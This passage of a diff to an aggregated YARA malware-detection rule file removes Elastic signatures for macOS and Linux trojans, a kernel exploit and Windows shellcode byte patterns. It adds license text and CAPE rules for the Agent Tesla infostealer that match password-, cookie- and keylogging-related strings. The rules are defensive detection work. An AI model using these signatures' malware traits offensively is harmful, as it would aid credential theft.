+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
 
-	strings:
-		$a = { 77 47 72 33 31 30 50 6D 72 7A 30 30 30 30 30 37 33 00 33 7C 49 56 7C 6A 30 30 }
+  16. Limitation of Liability.
 
-	condition:
-		all of them
-}
-rule ELASTIC_Macos_Trojan_Thiefquest_0F9Fe37C : FILE MEMORY
-{
-	meta:
-		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
-		author = "Elastic Security"
-		id = "0f9fe37c-77df-4d3d-be8a-c62ea0f6863c"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Thiefquest.yar#L84-L102"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "12fb0eca3903a3b39ecc3c2aa6c04fe5faa1f43a3d271154d14731d1eb196923"
-		logic_hash = "84f9e8938d7e2b0210003fc8334b8fa781a40afffeda8d2341970b84ed5d3b5a"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "2e809d95981f0ff813947f3be22ab3d3c000a0d348131d5d6c8522447818196d"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
 
-	strings:
-		$a = { 77 47 72 33 31 30 50 6D 72 7A 30 30 30 30 30 37 33 00 33 71 6B 6E 6C 55 30 55 }
+  17. Interpretation of Sections 15 and 16.
 
-	condition:
-		all of them
-}
-rule ELASTIC_Macos_Trojan_Thiefquest_1F4Bac78 : FILE MEMORY
-{
-	meta:
-		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
-		author = "Elastic Security"
-		id = "1f4bac78-ef2b-49cd-8852-e84d792f6e57"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Thiefquest.yar#L104-L122"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "12fb0eca3903a3b39ecc3c2aa6c04fe5faa1f43a3d271154d14731d1eb196923"
-		logic_hash = "96db33e135138846f978026867bb2536226539997d060f41e7081f7f29b66c85"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e7d1e2009ff9b33d2d237068e2af41a8aa9bd44a446a2840c34955594f060120"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
 
-	strings:
-		$a = { 77 47 72 33 31 30 50 6D 72 7A 30 30 30 30 30 37 33 00 32 33 4F 65 49 66 31 68 }
+                     END OF TERMS AND CONDITIONS
 
-	condition:
-		all of them
-}
-rule ELASTIC_Linux_Trojan_Subsevux_E9E80C1E : FILE MEMORY
-{
-	meta:
-		description = "Detects Linux Trojan Subsevux (Linux.Trojan.Subsevux)"
-		author = "Elastic Security"
-		id = "e9e80c1e-c064-47cf-91f2-0561dd5c9bcd"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Subsevux.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a4ccd399ea99d4e31fbf2bbf8017c5368d29e630dc2985e90f07c10c980fa084"
-		logic_hash = "8bc38f26da5a3350cbae3e93b890220bb461ff77e83993a842f68db8f757e435"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "bbd7a2d80e545d0cae7705a53600f6b729918a3d655bc86b2db83f15d4e550e3"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+The file UserDB.txt is copyrighted by BoB / Team PEiD distributed under the following
+MIT license.
 
-	strings:
-		$a = { 89 C0 89 45 F4 83 7D F4 00 79 1C 83 EC 0C 68 }
+Permission is hereby granted, free of charge, to any person obtaining a copy of this
+software and associated documentation files (the "Software"), to deal in the Software
+without restriction, including without limitation the rights to use, copy, modify,
+merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to the following
+conditions:
 
-	condition:
-		all of them
-}
-rule ELASTIC_Linux_Trojan_Patpooty_E2E0Dff1 : FILE MEMORY
-{
-	meta:
-		description = "Detects Linux Trojan Patpooty (Linux.Trojan.Patpooty)"
-		author = "Elastic Security"
-		id = "e2e0dff1-bb01-437e-b138-7da3954dc473"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Patpooty.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d38b9e76cbc863f69b29fc47262ceafd26ac476b0ae6283d3fa50985f93bedf3"
-		logic_hash = "ec7d12296383ca0ed20e3221fb96b9dbdaf6cc7f07f5c8383e43489a9fd6fcfe"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "275ff92c5de2d2183ea8870b7353d24f026f358dc7d30d1a35d508a158787719"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+The above copyright notice and this permission notice shall be included in all copies
+or substantial portions of the Software.
 
-	strings:
-		$a = { F0 8B 45 E4 8B 34 88 8D 7E 01 FC 31 C0 83 C9 FF F2 AE F7 D1 83 }
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
+FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
 
-	condition:
-		all of them
-}
-rule ELASTIC_Linux_Trojan_Patpooty_F90C7E43 : FILE MEMORY
-{
-	meta:
-		description = "Detects Linux Trojan Patpooty (Linux.Trojan.Patpooty)"
-		author = "Elastic Security"
-		id = "f90c7e43-0c32-487f-a7c2-8290b341019c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Patpooty.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "79475a66be8741d9884bc60f593c81a44bdb212592cd1a7b6130166a724cb3d3"
-		logic_hash = "2d995722b06ce51a5378e395896764421f84afcf6b13855a87ed43d9b9e38982"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b0b0fd8da224bcd1c048c5578ed487d119f9bff4fb465f77d3043cf77d904f3d"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+The file jquery.js is copyrighted by John Resig and dual licensed under the MIT or GPL
+Version 2 licenses (see: http://jquery.org/license).
 
-	strings:
-		$a = { C2 48 39 C2 75 F1 C7 43 58 01 00 00 00 C7 43 54 01 00 00 00 C7 43 50 01 00 }
+The files lightbox.js and lightbox.css are copyrighted by Lokesh Dhakar and licensed under
+the Creative Commons Attribution 2.5 License
+(see: http://creativecommons.org/licenses/by/2.5/).
 
-	condition:
-		all of them
-}
-rule ELASTIC_Linux_Exploit_CVE_2009_2698_12374E97 : FILE MEMORY CVE_2009_2698
-{
-	meta:
-		description = "Detects Linux Exploit Cve 2009 2698 (Linux.Exploit.CVE-2009-2698)"
-		author = "Elastic Security"
-		id = "12374e97-385e-4b3a-9d50-39f35ad4f6dd"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2009_2698.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "656fddc1bf4743a08a455628b6151076b81e604ff49c93d797fa49b1f7d09c2f"
-		logic_hash = "ed86a239b909681f2ab3503cfedf202dbe5f53a6f554cf4db13f08bee625c0b7"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2009-2698"
-		fingerprint = "2c669220ac8909e2336bbf9c38489c8e32d573ab6c29fa1e2e0c1fe69f7441ed"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+The files bootstrap-fileupload.js, jasny-bootstrap.js, jasny-bootstrap.min.js,
+jasny-bootstrap.css, jasny-bootstrap.min.css, jasny-bootstrap-responsive.css,
+jasny-bootstrap-responsive.min.css are copyrighted by Jasny BV and licensed under the Apache
+License, Version 2.0.
 
-	strings:
-		$a = { 74 64 6F 75 74 00 66 77 72 69 74 65 00 64 65 73 63 00 63 76 65 00 }
+The files bootstrap.min.js, bootstrap.min.css, bootstrap-responsive.min.css,
+glyphicons-halflings.png, glyphicons-halflings-white.png are copyrighted by Twitter, Inc.
+and licensed under the Apache License, Version 2.0.
 
-	condition:
-		all of them
-}
-rule ELASTIC_Linux_Exploit_CVE_2009_2698_Cc04Dddd : FILE MEMORY CVE_2009_2698
+The file analyzer/windows/modules/amsi.py uses parts of pywintrace
+(https://github.com/fireeye/pywintrace), which is copyrighted by FireEye, Inc. and licensed
+under the Apache License, Version 2.0.
+
+ */
+rule CAPE_Agent_Tesla
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2009 2698 (Linux.Exploit.CVE-2009-2698)"
-		author = "Elastic Security"
-		id = "cc04dddd-91d0-4c5f-a0ac-01787da7f369"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2009_2698.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "502b73ea04095e8a7ec4e8d7cc306242b45850ad28690156754beac8cd8d7b2d"
-		logic_hash = "68daa56ca98cc8f713faa138432190d19c27f07b2182a1f82347a3bfc5821ebb"
+		description = "Detecting HTML strings used by Agent Tesla malware"
+		author = "Stormshield"
+		id = "5383994b-357d-539b-89b1-53be238f759d"
+		date = "2024-03-22"
+		modified = "2024-03-22"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/AgentTesla.yar#L1-L17"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "3945754129dcc58e0abfd7485f5ff0c0afdd1078ae2cf164ca8f59a6f79db1be"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2009-2698"
-		fingerprint = "d3fdd66e486cb06bd63f6d8e471e66bc80990c4f0729eea16b47adc4cac80538"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = ""
+		version = "1.0"
 
 	strings:
-		$a = { C4 10 89 45 F4 83 7D F4 FF 75 1F 83 EC 0C 68 }
+		$html_username = "<br>UserName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: " wide ascii
+		$html_pc_name = "<br>PC&nbsp;Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: " wide ascii
+		$html_os_name = "<br>OS&nbsp;Full&nbsp;Name&nbsp;&nbsp;: " wide ascii
+		$html_os_platform = "<br>OS&nbsp;Platform&nbsp;&nbsp;&nbsp;: " wide ascii
+		$html_clipboard = "<br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>" wide ascii
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Windows_Shellcode_Generic_8C487E57 : FILE MEMORY
+rule CAPE_Agenttesla : FILE
 {
 	meta:
-		description = "Detects Windows Shellcode Generic (Windows.Shellcode.Generic)"
-		author = "Elastic Security"
-		id = "8c487e57-4b8c-488e-a1d9-786ff935fd2c"
-		date = "2022-05-23"
-		modified = "2022-07-18"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Shellcode_Generic.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "a86ea8e15248e83ce7322c10e308a5a24096b1d7c67f5673687563dec8229dfe"
+		description = "AgentTesla Payload"
+		author = "kevoreilly"
+		id = "f7b930f1-cecb-5d80-809b-9503f282247a"
+		date = "2024-03-22"
+		modified = "2024-03-22"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/AgentTesla.yar#L19-L41"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "1bf9b26c4cf87e674ddffabe40aba5a45499c6a04d4ff3e43c3cda4cbcb4d188"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "834caf96192a513aa93ac48fb8d2f3326bf9f08acaf7a27659f688b26e3e57e4"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "AgentTesla Payload"
 
 	strings:
-		$a = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 }
+		$string1 = "smtp" wide
+		$string2 = "appdata" wide
+		$string3 = "76487-337-8429955-22614" wide
+		$string4 = "yyyy-MM-dd HH:mm:ss" wide
+		$string6 = "webpanel" wide
+		$string7 = "<br>UserName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:" wide
+		$string8 = "<br>IP Address&nbsp;&nbsp;:" wide
+		$agt1 = "IELibrary.dll" ascii
+		$agt2 = "C:\\Users\\Admin\\Desktop\\IELibrary\\IELibrary\\obj\\Debug\\IELibrary.pdb" ascii
+		$agt3 = "GetSavedPasswords" ascii
+		$agt4 = "GetSavedCookies" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( all of ($string*) or 3 of ($agt*))
 }
-rule ELASTIC_Windows_Shellcode_Generic_F27D7Beb : FILE MEMORY
+rule CAPE_Agentteslav2 : FILE
 {
 	meta:
-		description = "Detects Windows Shellcode Generic (Windows.Shellcode.Generic)"
-		author = "Elastic Security"
-		id = "f27d7beb-5ce0-4831-b1ad-320b346612c3"
-		date = "2022-06-08"
-		modified = "2022-09-29"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Shellcode_Generic.yar#L20-L37"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8530a74a002d0286711cd86545aff0bf853de6b6684473b6211d678797c3639f"
+		description = "AgenetTesla Type 2 Keylogger payload"
+		author = "ditekshen"
+		id = "e60ecee4-0a97-56a1-b21e-47190f8cd1f8"
+		date = "2024-03-22"
+		modified = "2024-03-22"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/AgentTesla.yar#L43-L67"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "b45296b3b94fa1ff32de48c94329a17402461fb6696e9390565c4dba9738ed78"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "3f8dd6733091ec229e1bebe9e4cd370ad47ab2e3678be4c2d9c450df731a6e5c"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "AgentTesla Payload"
 
 	strings:
-		$a = { 53 48 89 E3 66 83 E4 00 48 B9 [8] BA 01 00 00 00 41 B8 00 00 00 00 48 B8 [8] FF D0 48 89 DC 5B C3 }
+		$s1 = "get_kbHook" ascii
+		$s2 = "GetPrivateProfileString" ascii
+		$s3 = "get_OSFullName" ascii
+		$s4 = "get_PasswordHash" ascii
+		$s5 = "remove_Key" ascii
+		$s6 = "FtpWebRequest" ascii
+		$s7 = "logins" fullword wide
+		$s8 = "keylog" fullword wide
+		$s9 = "1.85 (Hash, version 2, native byte-order)" wide
+		$cl1 = "Postbox" fullword ascii
+		$cl2 = "BlackHawk" fullword ascii
+		$cl3 = "WaterFox" fullword ascii
+		$cl4 = "CyberFox" fullword ascii
+		$cl5 = "IceDragon" fullword ascii
+		$cl6 = "Thunderbird" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and 6 of ($s*)) or (6 of ($s*) and 2 of ($cl*))
 }
-rule ELASTIC_Windows_Shellcode_Generic_29Dcbf7A : FILE MEMORY
+rule CAPE_Agentteslav3 : FILE
 {
 	meta:
-		description = "Detects Windows Shellcode Generic (Windows.Shellcode.Generic)"
-		author = "Elastic Security"
-		id = "29dcbf7a-2d3b-4e05-a2be-15623bf62d06"
-		date = "2023-05-09"
-		modified = "2023-06-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Shellcode_Generic.yar#L39-L56"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "c2a81cc27e696a2e488df7d2f96784bbaed83df5783efab312fc5ccbfd524b43"
+		description = "AgentTeslaV3 infostealer payload"
+		author = "ditekshen"
+		id = "cfe00382-8663-54a4-a7c4-b932ec7ad5e3"
+		date = "2024-03-22"
+		modified = "2024-03-22"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/AgentTesla.yar#L69-L111"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "26c4fa0ce8de6982eb599f3872e8ab2a6e83da4741db7f3500c94e0a8fe5d459"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e4664ec7bf7dab3fff873fe4b059e97d2defe3b50e540b96dd98481638dcdcd8"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 68
+		tags = "FILE"
+		cape_type = "AgentTesla payload"
 
 	strings:
